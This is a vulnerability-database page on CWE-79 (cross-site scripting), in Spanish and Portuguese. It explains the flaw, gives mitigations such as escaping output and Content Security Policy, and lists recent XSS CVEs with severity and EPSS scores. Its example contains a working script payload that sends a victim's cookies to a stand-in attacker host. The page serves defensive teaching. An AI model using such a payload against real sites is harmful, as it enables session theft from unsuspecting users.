Fallos del tipo CWE-79

30.662 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-31558MEDIUMDelta Electronics DIAEnergie (Update A)EPSS 10.6%CVE-2025-32794HIGHOpenEMR Stored XSS via Patient Name Field in Procedure OrdersEPSS 10.5%CVE-2025-41748HIGHReflected XSS vulnerability in pxc_Dot1xCfg.phpEPSS 10.4%CVE-2025-41747HIGHReflected XSS vulnerability in pxc_vlanIntfCfg.phpEPSS 10.4%CVE-2025-41752HIGHReflected XSS vulnerability in pxc_portSfp.phpEPSS 10.4%CVE-2025-41751HIGHReflected XSS vulnerability in pxc_portCntr.phpEPSS 10.4%CVE-2025-41746HIGHReflected XSS vulnerability in pxc_portSecCfg.phpEPSS 10.4%CVE-2025-41750HIGHReflected XSS vulnerability in pxc_PortCfg.phpEPSS 10.4%CVE-2021-24287—Select All Categories and Taxonomies < 1.3.2 - Reflected Cross-Site Scripting (XSS)EPSS 10.4%CVE-2021-24169—Advanced Order Export For WooCommerce < 3.1.8 - Reflected Cross-Site Scripting (XSS)EPSS 10.3%CVE-2025-47931LOWLibreNMS stored Cross-site Scripting vulnerability in poller group nameEPSS 10.1%CVE-2021-21802CRITICALThis vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially craftEPSS 9.9%CVE-2023-37979HIGHWordPress Ninja Forms Plugin <= 3.6.25 is vulnerable to Cross Site Scripting (XSS)EPSS 9.7%CVE-2022-0734MEDIUMA cross-site scripting vulnerability was identified in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.35 through 4.70, USG FEPSS 9.7%CVE-2021-29625HIGHXSS in doc_linkEPSS 9.6%CVE-2021-44544HIGHDelta Electronics DIAEnergie (Update A)EPSS 9.5%CVE-2023-29442MEDIUMZoho ManageEngine Applications Manager before 16400 allows proxy.html DOM XSS.EPSS 9.4%CVE-2019-10241—In Eclipse Jetty version 9.2.26 and older, 9.3.25 and older, and 9.4.15 and older, the server is vulnerable to XSS conditions if a remote clEPSS 9.4%CVE-2023-38501MEDIUMcopyparty vulnerable to reflected cross-site scripting via k304 parameterEPSS 9.2%CVE-2023-0594HIGHGrafana is an open-source platform for monitoring and observability. Starting with the 7.0 branch, Grafana had a stored XSS vulnerability EPSS 9.2%